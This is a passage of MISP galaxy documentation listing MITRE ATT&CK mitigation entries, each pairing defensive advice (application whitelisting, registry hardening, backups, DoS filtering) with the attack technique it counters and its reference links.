Signed Script Proxy Execution Mitigation - T1216

Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.

The tag is: misp-galaxy:mitre-course-of-action="Signed Script Proxy Execution Mitigation - T1216"

Signed Script Proxy Execution Mitigation - T1216 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Signed Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 2714. Table References
Links
https://attack.mitre.org/mitigations/T1216

Signed Binary Proxy Execution Mitigation - T1218

Certain signed binaries that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these binaries if they are not required for a given system or network to prevent potential misuse by adversaries. If these binaries are required for use, then restrict execution of them to privileged accounts or groups that need to use them to lessen the opportunities for malicious use.

The tag is: misp-galaxy:mitre-course-of-action="Signed Binary Proxy Execution Mitigation - T1218"

Signed Binary Proxy Execution Mitigation - T1218 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 2715. Table References
Links
https://attack.mitre.org/mitigations/T1218

Execution through Module Load Mitigation - T1129

Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.

The tag is: misp-galaxy:mitre-course-of-action="Execution through Module Load Mitigation - T1129"

Execution through Module Load Mitigation - T1129 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"

Table 2716. Table References
Links
https://attack.mitre.org/mitigations/T1129

Distributed Component Object Model Mitigation - T1175

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)

Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)

Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)

Enable Windows firewall, which prevents DCOM instantiation by default.

Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)

The tag is: misp-galaxy:mitre-course-of-action="Distributed Component Object Model Mitigation - T1175"

Distributed Component Object Model Mitigation - T1175 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"

Table 2717. Table References
Links
https://attack.mitre.org/mitigations/T1175
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://technet.microsoft.com/library/cc771387.aspx
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653

Man in the Browser Mitigation - T1185

Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.

Close all browser sessions regularly and when they are no longer needed.

The tag is: misp-galaxy:mitre-course-of-action="Man in the Browser Mitigation - T1185"

Man in the Browser Mitigation - T1185 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"

Table 2718. Table References
Links
https://attack.mitre.org/mitigations/T1185

Hidden Files and Directories Mitigation - T1158

Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.

The tag is: misp-galaxy:mitre-course-of-action="Hidden Files and Directories Mitigation - T1158"

Hidden Files and Directories Mitigation - T1158 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"

Table 2719. Table References
Links
https://attack.mitre.org/mitigations/T1158

Data Encrypted for Impact Mitigation - T1486

Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)

In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Data Encrypted for Impact Mitigation - T1486"

Data Encrypted for Impact Mitigation - T1486 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 2720. Table References
Links
https://attack.mitre.org/mitigations/T1486
https://www.ready.gov/business/implementation/IT
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

The tag is: misp-galaxy:mitre-course-of-action="Network Denial of Service Mitigation - T1498"

Network Denial of Service Mitigation - T1498 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

Table 2721. Table References
Links
https://attack.mitre.org/mitigations/T1498
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf

Endpoint Denial of Service Mitigation - T1499

Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.

The tag is: misp-galaxy:mitre-course-of-action="Endpoint Denial of Service Mitigation - T1499"

Endpoint Denial of Service Mitigation - T1499 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"

Table 2722. Table References
Links
https://attack.mitre.org/mitigations/T1499
http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf

Exploit Public-Facing Application Mitigation - T1190

Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.

The tag is: misp-galaxy:mitre-course-of-action="Exploit Public-Facing Application Mitigation - T1190"

Exploit Public-Facing Application Mitigation - T1190 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 2723. Table References
Links
https://attack.mitre.org/mitigations/T1190

Two-Factor Authentication Interception Mitigation - T1111

Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.

Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Two-Factor Authentication Interception Mitigation - T1111"

Two-Factor Authentication Interception Mitigation - T1111 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"

Table 2724. Table References
Links
https://attack.mitre.org/mitigations/T1111
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

.bash_profile and .bashrc Mitigation - T1156

Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.

The tag is: misp-galaxy:mitre-course-of-action=".bash_profile and .bashrc Mitigation - T1156"

bash_profile and .bashrc Mitigation - T1156 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"

Table 2725. Table References
Links
https://attack.mitre.org/mitigations/T1156

System Owner/User Discovery Mitigation - T1033

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Owner/User Discovery Mitigation - T1033"

System Owner/User Discovery Mitigation - T1033 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 2726. Table References
Links
https://attack.mitre.org/mitigations/T1033
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Window Discovery Mitigation - T1010

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Application Window Discovery Mitigation - T1010"

Application Window Discovery Mitigation - T1010 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

Table 2727. Table References
Links
https://attack.mitre.org/mitigations/T1010
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Behavior Prevention on Endpoint - M1040

Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.

The tag is: misp-galaxy:mitre-course-of-action="Behavior Prevention on Endpoint - M1040"

Behavior Prevention on Endpoint - M1040 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 2728. Table References
Links
https://attack.mitre.org/mitigations/M1040

Winlogon Helper DLL Mitigation - T1004

Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes.

Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: misp-galaxy:mitre-course-of-action="Winlogon Helper DLL Mitigation - T1004"

Winlogon Helper DLL Mitigation - T1004 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"

Table 2729. Table References
Links
https://attack.mitre.org/mitigations/T1004
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Compile After Delivery Mitigation - T1500

This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Compile After Delivery Mitigation - T1500"

Compile After Delivery Mitigation - T1500 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500" with estimative-language:likelihood-probability="almost-certain"

Table 2730. Table References
Links
https://attack.mitre.org/mitigations/T1500
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Use Recent OS Version - M1006

New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.

The tag is: misp-galaxy:mitre-course-of-action="Use Recent OS Version - M1006"

Use Recent OS Version - M1006 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Network Traffic Capture or Redirection - T1410" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1424" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Modify Cached Executable Code - T1403" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Accessibility Features - T1453" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

Table 2731. Table References
Links
https://attack.mitre.org/mitigations/M1006

System Service Discovery Mitigation - T1007

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Service Discovery Mitigation - T1007"

System Service Discovery Mitigation - T1007 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 2732. Table References
Links
https://attack.mitre.org/mitigations/T1007
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Taint Shared Content Mitigation - T1080

Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).

Reduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.

Identify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Taint Shared Content Mitigation - T1080"

Taint Shared Content Mitigation - T1080 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

Table 2733. Table References
Links
https://attack.mitre.org/mitigations/T1080
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Security Support Provider Mitigation - T1101

Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: misp-galaxy:mitre-course-of-action="Security Support Provider Mitigation - T1101"

Security Support Provider Mitigation - T1101 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"

Table 2734. Table References
Links
https://attack.mitre.org/mitigations/T1101
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

Peripheral Device Discovery Mitigation - T1120

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Peripheral Device Discovery Mitigation - T1120"

Peripheral Device Discovery Mitigation - T1120 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

Table 2735. Table References
Links
https://attack.mitre.org/mitigations/T1120
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

The tag is: misp-galaxy:mitre-course-of-action="Password Policy Discovery Mitigation - T1201"

Password Policy Discovery Mitigation - T1201 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 2736. Table References
Links
https://attack.mitre.org/mitigations/T1201
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements

Install Root Certificate Mitigation - T1130

HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)

Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)

The tag is: misp-galaxy:mitre-course-of-action="Install Root Certificate Mitigation - T1130"

Install Root Certificate Mitigation - T1130 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"

Table 2737. Table References
Links
https://attack.mitre.org/mitigations/T1130
https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

Modify Existing Service Mitigation - T1031

Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)

The tag is: misp-galaxy:mitre-course-of-action="Modify Existing Service Mitigation - T1031"

Modify Existing Service Mitigation - T1031 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"

Table 2738. Table References
Links
https://attack.mitre.org/mitigations/T1031
https://github.com/mattifestation/PowerSploit
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Remote File Copy Mitigation - T1105"

Remote File Copy Mitigation - T1105 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2739. Table References
Links
https://attack.mitre.org/mitigations/T1105
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Execution through API Mitigation - T1106

Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Execution through API Mitigation - T1106"

Execution through API Mitigation - T1106 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 2740. Table References
Links
https://attack.mitre.org/mitigations/T1106
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Graphical User Interface Mitigation - T1061

Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Graphical User Interface Mitigation - T1061"

Graphical User Interface Mitigation - T1061 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061" with estimative-language:likelihood-probability="almost-certain"

Table 2741. Table References
Links
https://attack.mitre.org/mitigations/T1061
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: misp-galaxy:mitre-course-of-action="Application Deployment Software Mitigation - T1017"

Application Deployment Software Mitigation - T1017 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017" with estimative-language:likelihood-probability="almost-certain"

Table 2742. Table References
Links
https://attack.mitre.org/mitigations/T1017

Credentials in Files Mitigation - T1081

Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)

The tag is: misp-galaxy:mitre-course-of-action="Credentials in Files Mitigation - T1081"

Credentials in Files Mitigation - T1081 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"

Table 2743. Table References
Links
https://attack.mitre.org/mitigations/T1081
http://support.microsoft.com/kb/2962486

Remote System Discovery Mitigation - T1018

